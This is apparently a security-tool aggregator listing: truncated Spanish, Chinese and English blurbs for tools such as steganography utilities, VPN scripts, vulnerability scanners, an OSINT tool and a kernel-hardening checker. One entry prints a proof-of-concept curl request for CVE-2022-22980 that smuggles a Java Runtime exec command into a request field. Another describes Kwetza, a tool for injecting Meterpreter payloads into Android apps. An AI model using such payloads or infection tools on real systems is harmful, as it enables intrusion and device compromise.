awesome-cybersec

awesome-cybersec Una colección de plataformas, blogs, documentos, libros, recursos y cosas interesantes sobre seguridad. Si bien este repositorio aún está en proceso, el objetivo es construir una colección comunitaria categorizada de recursos muy conocidos. Todo lo bueno en un solo lugar...

Matroschka

Матрёшка Acerca de Matroshka es una herramienta de esteganografía de línea de comandos escrita en Python puro. Puedes usarla para ocultar y cifrar imágenes o texto en los bits menos significativos de los píxeles de una imagen. Cifrado El cifrado utiliza HMAC-SHA256 para autenticar los datos...

FluxER

🔒 FluxER Fluxion Easy Runner para Termux Instalador y lanzador automatizado para Fluxion: un kit de herramientas de auditoría de seguridad inalámbrica para pruebas WPA/WPA2 y análisis de red en entornos Termux. 🎯 Características Configuración automatizada : Instalación de Ubuntu proot y Fluxion c...

wycheproof

Proyecto Wycheproof El Proyecto Wycheproof es un repositorio gestionado por la comunidad de vectores de prueba que los desarrolladores de bibliotecas criptográficas pueden utilizar para probar contra ataques conocidos, inconsistencias de especificaciones y otros diversos errores de implementación...

CVE-2022-36537

CVE-2022-36537 Resumen R1Soft Server Backup Manager utiliza el framework ZK como framework principal. Su seguridad requiere que todas las partes de los proyectos Web3 presten más atención a las vulnerabilidades de seguridad de las diversas infraestructuras Web3 y las parcheen a tiempo para evitar...

APKLab

APKLab 终极安卓逆向体验，就在你的 VS Code 中。 APKLab 将最优秀的开源工具：Apktool、smali-lsp、Jadx、uber-apk-signer、apk-mitm 等无缝集成到出色的 VS Code，让你专注于应用分析，无需离开 IDE 即可完成工作。 功能 解码/编辑/重打包应用资源文件 反汇编/修改/重打包 APK 与 Smali 互转 将 APK 反编译为 Java 源码 借助 smali-lsp 提供出色的 Smali 语言支持 —— 转到定义、查找引用、悬停提示、调用/类型层级、代码镜头、自动补全、诊断 在 VS Code 中利用完整的 IDE...

Invoke-Transfer

Invoke-Transfer PowerShell 剪贴板数据传输 Invoke-Transfer 是一款 PowerShell 工具，可帮助你在高度受限的环境 （如 Citrix、RDP、VNC 或 Guacamole）中传输文件。你可以以文本格式、小的 Base64 编码分块 或纯文本形式发送文件。此外，你还可以通过 Microsoft Windows 的原生 OCR 功能 从屏幕截图中接收文件。 ✨ 特性 🔀 Base64 编码 ：将文件转换为文本格式，便于安全传输 📋 剪贴板传输 ：在受限环境中通过剪贴板发送文件 ⚡ 分块传输 ：将文件分割为 120KB 的分块并支持可配置的延...

xcrawl3r

xcrawl3r xcrawl3r is a command-line utility designed to recursively spider webpages for URLs. It works by actively traversing websites - following links embedded in webpages, and parsing files including sitemaps & robots.txt - to uncover every URL. Unlike xurlfind3r that doesn't interact directly...

StegoForge

🛡️ StegoForge La combinación definitiva de esteganografía, forense digital y comunicaciones encubiertas. ⚡ Inicio Rápido Ejecutables Autónomos StegoForge es un framework Python complejo, pero no deberías tener que lidiar con entornos rotos cuando haces forense activo. Hemos compilado ejecutables...

kwetza

Introduction By Chris Le Roy @brompwnie [email protected] Kwetza is a tool that allows you to infect an existing Android application with a Meterpreter payload. What does it do? Kwetza infects an existing Android application with either custom or default payload templates to avoid detection ...

kwetza

Introducción Por Chris Le Roy @brompwnie [email protected] Kwetza es una herramienta que permite infectar una aplicación Android existente con un payload de Meterpreter. ¿Qué hace? Kwetza infecta una aplicación Android existente con plantillas de payload personalizadas o predeterminadas para...

NetAlertX

NetAlertX – Visibilidad de Red y Marco de Inteligencia de Activos 📷 Haz clic para más capturas de pantalla Dirígete a https://netalertx.com/ para ver aún más gifs y capturas de pantalla 📷. NetAlertX es una plataforma de visibilidad de red e inteligencia de activos para homelabs, equipos de TI, MS...

algo

Algo VPN Algo VPN es un conjunto de scripts de Ansible que simplifican la configuración de una VPN personal con WireGuard e IPsec. Utiliza los valores predeterminados más seguros disponibles y funciona con proveedores de nube comunes. Consulte nuestro anuncio de lanzamiento para obtener más...

algo

Algo VPN Algo VPN is a set of Ansible scripts that simplify the setup of a personal WireGuard and IPsec VPN. It uses the most secure defaults available and works with common cloud providers. See our release announcement for more information. Features Supports only IKEv2 with strong crypto AES-GCM...

Spring-Data-Mongodb-Example

Spring-Data-Mongodb-Example Entorno CVE-2022-22980 Construir entorno docker root@kitploit: docker build -t mongo . docker run -dit -p 6666:6666 mongo Poc root@kitploit: ➜ Spring-Data-Mongodb-Example git:main curl 0:6666/v1/user/get -d 'id=Tjava.lang.Runtime.getRuntime.exec"touch /tmp/aaaa"'...

z3

Z3 Z3 是微软研究院开发的一款定理证明器。它采用 MIT 许可证 进行授权。Windows 二进制发行版包含 C++ 运行时可再分发组件。 如果你不熟悉 Z3，可以从这里开始了解。 稳定版和 nightly 版本的预编译二进制文件可在此处获取。 Z3 可以使用 Visual Studio、Makefile、CMake、vcpkg 或 Bazel 构建。它还为多种编程语言提供了绑定。 有关 Z3 各个稳定版本的说明，请参阅发布说明。 构建状态 Pull Request 和 Push 工作流 WASM 构建| Windows 构建| CI| OCaml 绑定 ---|---|---|--...

Artemis

Artemis是一个模块化漏洞扫描器。它通过检查网站安全的各个方面和构建易于阅读的消息，准备发送给被扫描的组织来支持CERT PL的扫描活动。 快速开始 🔨 | 文档 📚 如果您想使用因非BSD兼容许可证而未包含在此处的其他模块，请访问Artemis-modules-extra仓库。 如果您想修改/开发Artemis，请先阅读开发。 Artemis是实验性软件，正在积极开发中——使用风险自负。 要讨论Artemis，加入Discord服务器！ 合作与会议 Artemis已在拉斯维加斯的BlackHat USA 2024和伦敦的BlackHat Europe...

BTPS-SecPack

蓝队PowerShell安全包 使用Microsoft Teams发送警报替代电子邮件 如果您希望使用Microsoft Teams发送警报而不是使用电子邮件，您需要加载此仓库的microsoft-teams分支，其中包含Teams警报的修改。我需要一些时间才能将此作为安装脚本中的配置选项实现。使用Microsoft Teams发布警报并不能消除此仓库中对某些电子邮件通知的需求。某些操作仍将使用电子邮件。这些Teams帖子在您首先创建一个Webhook之后才能完成。所谓的Webhook提供了向Microsoft...

iKy

描述 | 安装 | 网站 | 模块 | 问题 | 赞助 iKy 描述 iKy 是一款 OSINT 工具，可收集电子邮件地址或其他选择器的信息，并将结果以可视化界面展示。 （即将更新：反映之前的前端） 视频演示 安装 前提条件 Docker Docker Compose（Docker Desktop 已包含） （可选）just 任务运行器 快速开始 root@kitploit: git clone https://gitlab.com/kennbroorg/iKy.git cd iKy just build just up 在浏览器中打开 http://localhost:4300...

kernel-hardening-checker

kernel-hardening-checker （原名 kconfig-hardened-check） 动机 Linux 内核拥有大量安全加固选项。大多数主流发行版并未启用其中的许多选项。我们必须自行启用这些选项，以使我们的系统更加安全。 但没人喜欢手动检查配置。所以让计算机来完成它们的工作吧！ kernel-hardening-checker （原名 kconfig-hardened-check ）是一款用于检查 Linux 内核安全加固选项的工具。 许可证：GPL-3.0。 仓库...